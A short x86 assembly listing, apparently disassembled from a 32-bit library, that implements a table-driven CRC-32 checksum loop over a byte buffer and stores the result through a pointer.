not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [eax*4 + 0x10004358]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10002896
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8